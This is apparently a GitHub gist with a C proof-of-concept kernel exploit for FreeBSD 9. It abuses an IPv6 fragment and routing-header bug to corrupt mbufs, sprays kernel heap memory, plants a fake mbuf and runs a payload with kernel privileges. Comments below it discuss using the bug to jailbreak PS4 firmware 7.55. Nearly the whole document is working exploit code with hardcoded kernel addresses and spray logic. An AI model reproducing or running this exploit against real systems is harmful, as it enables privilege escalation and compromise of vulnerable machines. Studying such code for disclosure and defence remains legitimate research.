Skip to content

Instantly share code, notes, and snippets.

@sleirsgoevy
Last active March 8, 2021 15:34
Show Gist options
  • Select an option

  • Save sleirsgoevy/ff591bfdc3a6f7573ed2388b018b31ec to your computer and use it in GitHub Desktop.

Select an option

Save sleirsgoevy/ff591bfdc3a6f7573ed2388b018b31ec to your computer and use it in GitHub Desktop.
FreeBSD 9 PoC of kernel code execution using the new TheFlow vulnerability
#include <sys/types.h>
#include <sys/param.h>
#include <sys/cpuset.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/sysctl.h>
#include <sys/vmmeter.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <vm/vm_param.h>
#include <stdio.h>
void send_fragment(int fd, char* src, size_t off, size_t sz, int is_final)
{
unsigned char buf[0x100];
// hop-by-hop header
buf[0] = 44;
buf[1] = 0;
buf[2] = 1;
buf[3] = 4;
buf[4] = buf[5] = buf[6] = buf[7] = 0x41;
// fragment header
buf[8] = 43;
buf[9] = 0;
size_t mid = off + !is_final;
buf[10] = mid / 256;
buf[11] = mid % 256;
buf[12] = 0xde;
buf[13] = 0xad;
buf[14] = 0xbe;
buf[15] = 0xef;
for(size_t i = 0; i < sz; i++)
buf[16+i] = src[off+i];
struct sockaddr_in6 sin6 = {
.sin6_family = AF_INET6,
.sin6_addr = {0},
.sin6_port = 0xbeef,
};
sin6.sin6_addr.s6_addr[15] = 1;
sendto(fd, buf, 16+sz, 0, (struct sockaddr*)&sin6, sizeof(sin6));
}
void build_rthdr(char* buf, int sz)
{
buf[0] = 43;
buf[1] = sz / 8 - 1;
buf[2] = 0;
buf[3] = 0;
for(size_t i = 4; i < sz; i++)
buf[i] = 0;
}
#define RTHDR_1_SZ 0x68 // MHLEN-56
#define RTHDR_2_SZ 32 // >8 to prevent double-free on second mbuf
#define FIRST_FRAGMENT_SZ 0x38
#define SPRAY_SIZE 400
#define SMALL_SPRAY_SIZE 400
#define HUGE_SPRAY_SIZE 0x2800
#define RECLAIM_THRESHOLD 10
void push_mbuf(int* socks, int i)
{
if(sendto(socks[i], &i, sizeof(i), 0, 0, 0) < 0)
printf("push_mbuf failed\n");
}
int pop_mbuf(int* socks, int i)
{
int ans = i;
recvfrom(socks[i], &ans, sizeof(ans), 0, 0, 0);
return ans;
}
int peek_mbuf(int* socks, int i)
{
int ans = i;
recvfrom(socks[i], &ans, sizeof(ans), MSG_PEEK, 0, 0);
return ans;
}
#if 0
uint16_t ip_checksum(void* buf, size_t sz, uint32_t csum)
{
uint16_t* x = (unsigned short*)buf;
for(size_t i = 0; i < sz / 2; i++)
csum += x[i];
while(csum >= 0x10000)
{
uint32_t q = csum / 0x10000;
csum %= 0x10000;
csum += q;
}
return (uint16_t)(0xffff - csum);
}
void craft_ipv4_packet(char* ans, int port, char* buf, size_t sz)
{
ans[0] = 0x45;
ans[1] = 0;
ans[2] = (sz+28)%256;
ans[3] = (sz+28)/256;
ans[4] = 0xde;
ans[5] = 0xad;
ans[6] = 0;
ans[7] = 0;
ans[8] = 64;
ans[9] = 17;
ans[10] = ans[11] = 0;
ans[12] = ans[16] = 127;
ans[13] = ans[17] = 0;
ans[14] = ans[18] = 0;
ans[15] = ans[19] = 1;
ans[20] = ans[22] = port % 256;
ans[21] = ans[23] = port / 256;
ans[24] = (sz+8)/256;
ans[25] = (sz+8)%256;
ans[26] = 0;
ans[27] = 0;
//*(uint16_t)(ans+26) = ipv4_checksum(ans+20, 8);
//*(uint16_t)(ans+10) = ipv4_checksum(ans, sz+28);
for(size_t i = 0; i < sz; i++)
ans[i+28] = buf[i];
}
void push_mbuf_r(int r, int* socks, int i)
{
struct sockaddr_in sin;
socklen_t l = sizeof(sin);
getsockname(socks[i], (struct sockaddr*)&sin, &l);
char buf[32];
craft_ipv4_packet(buf, sin.sin_port, (void*)&i, sizeof(i));
sendto(r, buf, sizeof(buf), 0, (void*)&sin, l);
}
#endif
int create_loopback(void)
{
#if 1
int sock = socket(AF_INET6, SOCK_DGRAM, 0);
struct sockaddr_in6 sin = {
.sin6_family = AF_INET6,
.sin6_addr = {0},
.sin6_port = 0,
};
sin.sin6_addr.s6_addr[15] = 1;
#else
int sock = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in sin = {
.sin_family = AF_INET,
.sin_addr = {0x100007f},
.sin_port = 0,
};
#endif
socklen_t sin_l = sizeof(sin);
bind(sock, (struct sockaddr*)&sin, sin_l);
getsockname(sock, (struct sockaddr*)&sin, &sin_l);
connect(sock, (struct sockaddr*)&sin, sin_l);
fcntl(sock, F_SETFL, fcntl(sock, F_GETFL) | O_NONBLOCK);
return sock;
}
int get_port(int fd)
{
struct sockaddr_in6 sin;
socklen_t l = sizeof(sin);
getsockname(fd, (struct sockaddr*)&sin, &l);
return sin.sin6_port;
}
asm("kexec:\nmov $11,%rax\nmov %rcx,%r10\nsyscall\nret");
void kexec(void*);
#define uma_reclaim ((void*)0xffffffff80a7c1c0)
int port_to_csum(int port)
{
int base_port = 0x0de6;
int base_csum = 0x36b1;
int csum = base_csum - 2 * (port - base_port);
csum += 0x1fffe;
csum %= 0xffff;
return csum;
}
volatile void* userland_spray(void)
{
volatile char* buf = mmap(NULL, 1L<<33, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
size_t npages = 50000;
for(size_t i = 0; i < (1L<<33); i += 4096)
{
int checkout = 0;
if(i % 10485760 == 0)
{
checkout = 1;
printf("%lu\n", i);
}
struct vmtotal v1, v2;
struct timeval t1, t2;
int mibs[2] = {CTL_VM, VM_TOTAL};
size_t l = sizeof(v1);
if(npages < 50000 || checkout)
sysctl(mibs, 2, &v1, &l, 0, 0);
buf[i] = 123;
if(npages < 50000 || checkout)
{
sysctl(mibs, 2, &v2, &l, 0, 0);
if(v2.t_free > v1.t_free + RECLAIM_THRESHOLD)
{
printf("t_free was %d and is now %d\n", v1.t_free, v2.t_free);
break;
}
else if(v2.t_free > v1.t_free)
printf("t_free was %d and is now %d\n", v1.t_free, v2.t_free);
npages = v2.t_free;
}
}
printf("sprayed (?)\n");
//munmap(buf+(1<<30)-(1<<20), 1<<20);
return buf;
}
void pipe_spray(void)
{
char* buf = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
for(size_t i = 0; i < 4096; i++)
buf[i] = 0x41;
for(int i = 0; i < HUGE_SPRAY_SIZE/2; i++)
{
int p[2];
pipe(p);
fcntl(p[1], F_SETFL, fcntl(p[1], F_GETFL) | O_NONBLOCK);
write(p[1], buf, 4096);
write(p[0], buf, 4096);
}
}
void push_jumbo(int fd)
{
char buf[2048];
for(int i = 0; i < 2048; i++)
buf[i] = 0x41;
for(int i = 0; i < 31; i++)
sendto(fd, buf, sizeof(buf), 0, 0, 0);
}
void* mmap_at(void* where, size_t sz)
{
uintptr_t addr = (uintptr_t)where;
uintptr_t end = addr + sz;
addr &= ~4095ull;
if((uintptr_t)mmap((void*)addr, end - addr, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) != addr)
{
printf("failed to mmap_at!\n");
return 0;
}
//prefault pages
unsigned char* p = where;
for(size_t i = 0; i < sz; i++)
p[i] = 0;
return where;
}
void kernel_payload(int bad_fd)
{
int(*printf)(const char*, ...) = (void*)0xffffffff8086bf90;
printf("Hello, kernel world!\n");
int****** td;
asm volatile("mov %%gs:0, %0":"=r"(td));
td[1][9][0][bad_fd][0][81] = 0; // socket->so_snd.sb_cc
td[1][9][0][bad_fd][0][83] = 0; // socket->so_snd.sb_mbcnf
void*** zone_mbuf = (void*)0xffffffff811008a0;
zone_mbuf[0][32] = zone_mbuf[0][33] = 0; //detach buckets
}
int main(void)
{
cpuset_t xxx;
CPU_ZERO(&xxx);
CPU_SET(2, &xxx);
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx);
int huge_spray[HUGE_SPRAY_SIZE];
for(int i = 0; i < HUGE_SPRAY_SIZE; i++)
huge_spray[i] = socket(AF_INET6, SOCK_DGRAM, 0);
int sock = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS);
int socks[SPRAY_SIZE];
for(int i = 0; i < SPRAY_SIZE; i++)
socks[i] = create_loopback();
//socketpair(AF_INET, SOCK_DGRAM, 0, socks+2*i);
int small_spray[SMALL_SPRAY_SIZE];
for(int i = 0; i < SMALL_SPRAY_SIZE; i++)
small_spray[i] = create_loopback();
char buf[RTHDR_1_SZ + RTHDR_2_SZ];
build_rthdr(buf, RTHDR_1_SZ);
build_rthdr(buf + RTHDR_1_SZ, RTHDR_2_SZ);
send_fragment(sock, buf, 0, FIRST_FRAGMENT_SZ, 0);
send_fragment(sock, buf, FIRST_FRAGMENT_SZ, sizeof(buf) - FIRST_FRAGMENT_SZ, 1);
nanosleep((void*)"\0\0\0\0\0\0\0\0\x10\x27\0\0\0\0\0\0", 0);
CPU_ZERO(&xxx);
CPU_SET(0, &xxx);
cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_PID, getpid(), sizeof(xxx), &xxx);
#define FORALL for(int i = 0; i < SPRAY_SIZE; i++)
int q;
FORALL push_mbuf(socks, i);
char delayed_pkt[20];
*(uint32_t*)(delayed_pkt+16) = 0x41414141;
send_fragment(sock, delayed_pkt, 16, 4, 1);
for(int i = 0; i < SMALL_SPRAY_SIZE; i++)
push_mbuf(small_spray, i);
int bad1 = -1, bad2 = -1;
FORALL if((q = peek_mbuf(socks, i)) != i)
{
bad1 = i;
bad2 = q;
}
if(bad1 < 0 || bad2 < 0)
{
printf("fatal: no corruption\n");
return 1;
}
build_rthdr(delayed_pkt, 8);
delayed_pkt[0] = 17; // udp
uint16_t bad1_port = get_port(socks[bad1]);
*(uint16_t*)(delayed_pkt+8) = *(uint16_t*)(delayed_pkt+10) = bad1_port;
delayed_pkt[12] = 0;
delayed_pkt[13] = 12;
*(uint16_t*)(delayed_pkt+14) = port_to_csum(bad1_port);
send_fragment(sock, delayed_pkt, 0, 16, 0);
nanosleep((void*)"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 0);
pop_mbuf(socks, bad1);
pop_mbuf(socks, bad2);
/*for(int i = SPRAY_SIZE-SMALL_SPRAY_SIZE; i < SPRAY_SIZE; i++)
{
printf("%d ", i-SPRAY_SIZE);
fflush(stdout);
print_mbuf_addr(socks[i]);
}
printf("-0 ");
fflush(stdout);
print_mbuf_addr(socks[bad1]);
printf("-0 ");
fflush(stdout);
print_mbuf_addr(socks[bad2]);
for(int i = 0; i < SMALL_SPRAY_SIZE; i++)
{
printf("%d ", i);
fflush(stdout);
print_mbuf_addr(small_spray[i]);
}*/
for(int i = SMALL_SPRAY_SIZE-1; i >= 0; i--)
pop_mbuf(small_spray, i);
pop_mbuf(socks, bad1);
for(int i = SPRAY_SIZE-1; i >= 0; i--)
if(i != bad1 && i != bad2)
pop_mbuf(socks, i);
//print_mbuf_addr(socks[bad2]);
void* ul_buf = (void*)userland_spray();
unsigned char rthdr[1016];
build_rthdr((char*)rthdr, sizeof(rthdr));
rthdr[0] = 0;
rthdr[3] = rthdr[1] / 2;
rthdr[4] = 0x90;
*(uint32_t*)(rthdr+0x1c) = 0x40000; //M_NOFREE
unsigned char* mbuf_fake = mmap_at(*(void**)rthdr, 0x100);
*(uint32_t*)(mbuf_fake+0x1c) = 0x40001; //M_NOFREE|M_EXT
*(uintptr_t*)(mbuf_fake+0x58) = 0xffff800041414141ull;
*(uintptr_t*)(mbuf_fake+0x60) = (uintptr_t)&kernel_payload;
*(uintptr_t*)(mbuf_fake+0x68) = socks[bad2]; //ext_arg1
int fake_refcnt = 1;
*(void**)(mbuf_fake+0x80) = &fake_refcnt;
*(int*)(mbuf_fake+0x88) = 400;
for(int i = 256; i < sizeof(rthdr); i++)
rthdr[i] = rthdr[i % 256];
printf("crafted fake mbuf in userspace\n");
/*for(int i = 4; i < sizeof(rthdr); i++)
rthdr[i] = 0x41;*/
for(int i = 0; i < HUGE_SPRAY_SIZE; i++)
setsockopt(huge_spray[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr, sizeof(rthdr));
for(int i = 0; i < SPRAY_SIZE; i++)
setsockopt(socks[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr, sizeof(rthdr));
for(int i = 0; i < SMALL_SPRAY_SIZE; i++)
setsockopt(small_spray[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr, sizeof(rthdr));
//print_mbuf_addr(socks[bad2]);
pop_mbuf(socks, bad2);
close(socks[bad1]);
close(socks[bad2]);
printf("pwned\n");
munmap(ul_buf, 1L<<33);
return 0;
}
@Regis242
Copy link
Copy Markdown

Awesome congrulations bro

@TheWizWikii
Copy link
Copy Markdown

Amazing work Buddy! What firmware is supposed to be functional on

@danielbatiz36
Copy link
Copy Markdown

danielbatiz36 commented Jan 20, 2021

Amazing work Buddy! What firmware is supposed to be functional on

Hi pal, this has been done with the SOCK RAW vulnerability which was discovered by TheFlow. The vulnerability affects the PS4 OFW up to 7.55, I think 8.00 too but I’m not sure. So in fewer words is a FUTURE exploit for 7.55 OFW. Not yet but near.

Copy link
Copy Markdown

ghost commented Jan 21, 2021

Great job, I'm excited to make a donation for your great work on the scene.

@maree01
Copy link
Copy Markdown

maree01 commented Jan 24, 2021

Yeah we really need to donate ;)

@matheussurf24
Copy link
Copy Markdown

Π½Π°Π²Π΅Ρ€Π½ΠΎΠ΅ ΠΈ Π²ΠΎΡ‚ Ρ‡Ρ‚ΠΎ Π²Ρ‹Π»ΠΎΠΆΠΈΠ» Ρ€Π°Π·Π²Π΅Π΄ΠΊΡƒ с Π°ΠΏΠΏΠ΅Ρ‚ΠΈΡ‚ΠΎΠΌ ΠŸΠΎΠ»Π½Ρ‹ΠΉ Π²Π΅Π±-Π½Π°Π±ΠΎΡ€ 7.55

@harshdhaliwal1
Copy link
Copy Markdown

Add a donation link, we appreciate your work for PS4 :)
ΠšΡΡ‚Π°Ρ‚ΠΈ, свобода АлСксСю ΠΠ°Π²Π°Π»ΡŒΠ½ΠΎΠΌΡƒ!

@fat-albert
Copy link
Copy Markdown

fat-albert commented Jan 25, 2021

This is really amazing, shoutout to everyone in the ps4 scene, and props to theflow for playstation letting him disclose the sock raw exploit, and people like him and sleirsgoevy and fire30, etc in the end are the ones who get these done, all we can hope now is a poc for cve-2020-13543(talos-2020-1155), and if it works, we have a kex for 7.55 and posibly 8.00

https://talosintelligence.com/vulnerability_reports/TALOS-2020-1155

@harshdhaliwal1
Copy link
Copy Markdown

I found some kernel offsets of PS4 on 7.50 .
Will it help?

@komawoyo
Copy link
Copy Markdown

@harshdhaliwal1 you mind posting it? I would like to check if it makes a difference on the webkit success rate.

@zizoom
Copy link
Copy Markdown

zizoom commented Feb 26, 2021

Ψ§ΩŠΩ† Ω…Ψ·ΩˆΨ±Ψ¨Ω† Ψ§Ω„ΨΉΨ±Ψ¨ Ω…Ψ΄ΩƒΩˆΨ± ΨΉΩ„Ω‰ Ψ§Ω„Ω…Ψ¬Ω‡ΩˆΨ―

@SchneideR52
Copy link
Copy Markdown

Keep working bro πŸ‘πŸ™πŸŒΉ

@mohammad-re2004
Copy link
Copy Markdown

We hope for you very muchπŸ‘πŸ’ͺ

@HassanMelhem
Copy link
Copy Markdown

sleirgoevy is the best much respect 🌹🌹

@biboo007
Copy link
Copy Markdown

keep working bro we support you

@Tito0o7
Copy link
Copy Markdown

Tito0o7 commented Feb 26, 2021

Good job

@Aris45
Copy link
Copy Markdown

Aris45 commented Feb 26, 2021

mantap

@amirrezaii1364
Copy link
Copy Markdown

Hoping for the leaf surprise for Algebra version 7.55 I believe in you my friend

@mohammad-re2004
Copy link
Copy Markdown

keep working πŸ’ͺ

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment